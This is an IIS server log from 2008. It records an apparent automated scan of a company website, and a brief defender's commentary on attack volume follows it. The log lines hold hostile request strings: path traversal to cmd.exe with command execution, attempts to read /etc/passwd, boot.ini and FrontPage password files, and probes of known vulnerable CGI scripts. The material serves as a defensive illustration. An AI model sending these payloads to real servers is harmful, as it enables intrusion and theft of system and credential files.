2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/CatalogMgr.pl cartID=<valid-id>&template=CatalogMgr.pl 404 3 3396 105 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/FtpSaveCVP.dll - 404 3 3396 75 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/tradecli.dll - 404 3 3396 64 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iissamples/issamples/query.idq - 200 0 336 48 0 HTTP/1.0 - - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/htimage.exe 2,2 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/DCShop - 404 3 3396 57 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /code.php3 - 404 2 3396 52 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /C:/ - 404 123 3396 55 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /Sites/Knowledge/Membership/Inspired/ViewCode.asp |-|0|404_Object_Not_Found 404 0 3555 91 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/FlagShip_c - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/xvcad/var_rm - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cmd1.exe /c+dir 404 2 3396 80 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/pollit/Poll_It_SSI_v2.0.cgi - 404 3 3396 78 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bb-hostsvc.sh - 404 3 3396 39 0 HTTP/1.0 - - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /target/interscan/cgi-bin/FtpSave.dll yes 404 3 3396 58 0 HTTP/1.0 - - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/..%5c..%5c/..%5c..%5c/winnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 114 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/FtpSaveCSP.dll - 404 3 3396 50 0 HTTP/1.0 - - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/tradecli.dll template=nonexistfile?template=..\..\..\..\..\winnt\system32\cmd.exe?/c+dir 404 3 3396 114 0 HTTP/1.0 - - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /autoexec.bat - 404 2 3396 45 0 HTTP/1.0 - - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/FSserial - 404 3 3396 34 0 HTTP/1.0 - - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/fpcount.exe - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/xvcad/var_rm - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cmd.exe /c+dir 404 2 3396 54 10 HTTP/1.0 - - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /_vti_pvt/authors.pwd - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bb-hostsvc.sh - 404 3 3396 64 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iissamples/ - 404 2 3396 54 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /target/interscan/cgi-bin/FtpSave.dll yes 404 3 3396 83 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmpwd/..%5c..%5c/..%5c..%5c/winnt/system32/cmd.exe /c+dir 404 3 3396 87 0 HTTP/1.0 - - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/FtpSaveCSP.dll - 404 3 3396 75 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/tradecli.dll template=nonexistfile?template=..\..\..\..\..\winnt\system32\cmd.exe?/c+dir 404 3 3396 139 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /autoexec.bat - 404 2 3396 70 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/FSserial - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cmd.exe /c+dir 404 2 3396 79 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/xvcad/igesin - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bb-histlog.sh - 404 3 3396 39 0 HTTP/1.0 - - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/FtpSave.dll no 404 3 3396 50 0 HTTP/1.0 - - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmpwd/..%5c..%5c/..%5c..%5c/winnt/system32/cmd.exe /c+dir 404 3 3396 112 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/tradecli.dll template=nonexistfile 404 3 3396 60 0 HTTP/1.0 - - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /boot.ini - 404 2 3396 35 0 HTTP/1.0 - - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmpwd/sensepost.exe /c+dir 404 3 3396 48 0 HTTP/1.0 - - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/xvcad/igesin - 404 3 3396 63 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bb-histlog.sh - 404 3 3396 64 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/FtpSave.dll no 404 3 3396 75 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/wais - 404 3 3396 55 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/a1stats/a1disp2.cgi ../../../../../../../etc/passwd 404 3 3396 77 0 HTTP/1.0 - - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /_vti_bin/..%5c..%5c/..%5c..%5c/winnt/system32/cmd.exe /c+dir 404 3 3396 86 0 HTTP/1.0 - - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/tradecli.dll template=nonexistfile 404 3 3396 85 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /boot.ini - 404 2 3396 60 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:37 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmpwd/sensepost.exe /c+dir 404 3 3396 73 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:37 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/xvcad/dxfin - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:37 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bb-hist.sh - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:37 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/a1stats/a1disp2.cgi ../../../../../../../etc/passwd 404 3 3396 102 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:37 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /_vti_bin/..%5c..%5c/..%5c..%5c/winnt/system32/cmd.exe /c+dir 404 3 3396 111 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:37 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /boot.ini - 404 2 3396 35 0 HTTP/1.0 - - - - 2008-07-29 09:07:37 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmpwd/cmd1.exe /c+dir 404 3 3396 43 0 HTTP/1.0 - - - - 2008-07-29 09:07:37 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bb-hist.sh - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:37 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/a1stats/a1disp4.cgi ../../../../../../../etc/passwd 404 3 3396 77 0 HTTP/1.0 - - - - 2008-07-29 09:07:37 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/..%5c..%5c/..%5c..%5c/winnt/system32/cmd.exe /c+dir 404 3 3396 83 0 HTTP/1.0 - - - - 2008-07-29 09:07:37 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /boot.ini - 404 2 3396 60 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:38 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmpwd/cmd1.exe /c+dir 404 3 3396 68 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:38 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/a1stats/a1disp4.cgi ../../../../../../../etc/passwd 404 3 3396 102 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:38 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/..%5c..%5c/..%5c..%5c/winnt/system32/cmd.exe /c+dir 404 3 3396 108 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:38 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmpwd/cmd.exe /c+dir 404 3 3396 42 0 HTTP/1.0 - - - - 2008-07-29 09:07:38 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/a1stats/a1disp3.cgi ../../../../../../../etc/passwd 404 3 3396 77 0 HTTP/1.0 - - - - 2008-07-29 09:07:38 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 73 0 HTTP/1.0 - - - - 2008-07-29 09:07:39 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmpwd/cmd.exe /c+dir 404 3 3396 67 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:39 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/a1stats/a1disp3.cgi ../../../../../../../etc/passwd 404 3 3396 102 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:39 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 98 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:39 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /samples/sensepost.exe /c+dir 404 3 3396 46 10 HTTP/1.0 - - - - 2008-07-29 09:07:39 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /samples/sensepost.exe /c+dir 404 3 3396 71 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:40 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /usr/bin/xvcad/dxfin - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:40 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /samples/cmd1.exe /c+dir 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:41 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /samples/cmd1.exe /c+dir 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:41 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmin/ - 404 2 3396 52 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:41 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /samples/cmd.exe /c+dir 404 3 3396 40 0 HTTP/1.0 - - - - 2008-07-29 09:07:42 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /samples/cmd.exe /c+dir 404 3 3396 65 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:42 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/sensepost.exe /c+dir 404 3 3396 46 0 HTTP/1.0 - - - - 2008-07-29 09:07:43 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/sensepost.exe /c+dir 404 3 3396 71 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:43 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cmd1.exe /c+dir 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:44 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cmd1.exe /c+dir 404 3 3396 66 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:44 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cmd.exe /c+dir 404 3 3396 40 0 HTTP/1.0 - - - - 2008-07-29 09:07:45 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cmd.exe /c+dir 404 3 3396 65 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:45 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /vti_cnf/sensepost.exe /c+dir 404 3 3396 46 0 HTTP/1.0 - - - - 2008-07-29 09:07:45 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /vti_cnf/sensepost.exe /c+dir 404 3 3396 71 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:46 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /vti_cnf/cmd1.exe /c+dir 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:46 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /vti_cnf/cmd1.exe /c+dir 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:47 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /vti_cnf/cmd.exe /c+dir 404 3 3396 40 0 HTTP/1.0 - - - - 2008-07-29 09:07:47 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /vti_cnf/cmd.exe /c+dir 404 3 3396 65 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:48 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /vti_bin/sensepost.exe /c+dir 404 3 3396 46 0 HTTP/1.0 - - - - 2008-07-29 09:07:48 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /vti_bin/sensepost.exe /c+dir 404 3 3396 71 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:48 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /vti_bin/cmd1.exe /c+dir 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:50 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /vti_bin/cmd1.exe /c+dir 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:54 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /vti_bin/cmd.exe /c+dir 404 3 3396 40 0 HTTP/1.0 - - - - 2008-07-29 09:07:54 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /vti_bin/cmd.exe /c+dir 404 3 3396 65 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:55 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/sensepost.exe /c+dir 404 3 3396 44 0 HTTP/1.0 - - - - 2008-07-29 09:07:55 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/sensepost.exe /c+dir 404 3 3396 69 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:55 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/cmd1.exe /c+dir 404 3 3396 39 0 HTTP/1.0 - - - - 2008-07-29 09:07:56 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/cmd1.exe /c+dir 404 3 3396 64 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:08:00 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/cmd.exe /c+dir 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:08:00 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/cmd.exe /c+dir 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:08:01 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/sensepost.exe /c+dir 404 3 3396 46 0 HTTP/1.0 - - - - 2008-07-29 09:08:01 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/sensepost.exe /c+dir 404 3 3396 71 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:08:01 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/cmd1.exe /c+dir 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:08:02 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/cmd1.exe /c+dir 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:08:02 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/cmd.exe /c+dir 404 3 3396 40 0 HTTP/1.0 - - - - 2008-07-29 09:08:03 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/cmd.exe /c+dir 404 3 3396 65 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:08:03 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /sensepost.exe /c+dir 404 2 3396 38 10 HTTP/1.0 - - - - 2008-07-29 09:08:03 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /sensepost.exe /c+dir 404 2 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:08:05 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cmd1.exe /c+dir 404 2 3396 33 0 HTTP/1.0 - - - - 2008-07-29 09:08:05 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cmd1.exe /c+dir 404 2 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:08:06 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cmd.exe /c+dir 404 2 3396 32 10 HTTP/1.0 - - - - 2008-07-29 09:08:06 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cmd.exe /c+dir 404 2 3396 57 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:09:03 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /Default.asp - 200 0 0 299 0 HTTP/1.1 www.companyname.com Mozilla/4.0+(compatible;+MSIE+5.5;+Windows+98;+Win+9x+4.90) - http://hackers.site/cgi-bin/search/engine/search2.fcgi?lang=all&key=companyname Analysis of the hacker: This guy wants in. He or friends in the same 'B' class of IP numbers have been attempting to breach one particular server for over a month now. If we assume a rate of 4.4 hacking attempts per second we can see that we are looking at an assault rate of over 11 million attempts per month. We have determined that this user is on a dial-up connection. If the user had a faster connection we would likely see far more robust attacks. This is the perfect example of why security is needed. Most people assume that because there are so many people on the Internet that by anonymity alone they wont be targeted. However, because hacking tools are so common and user friendly, you can quickly see that one user alone has to potential launch 11 million attacks. If this user had a DSL or cable connection he could potentially launch 1 billion attempts per month. If this user and a few friends instead focused on one particular security hole they could attempt to breach every machine on the internet in a relatively short period of time. |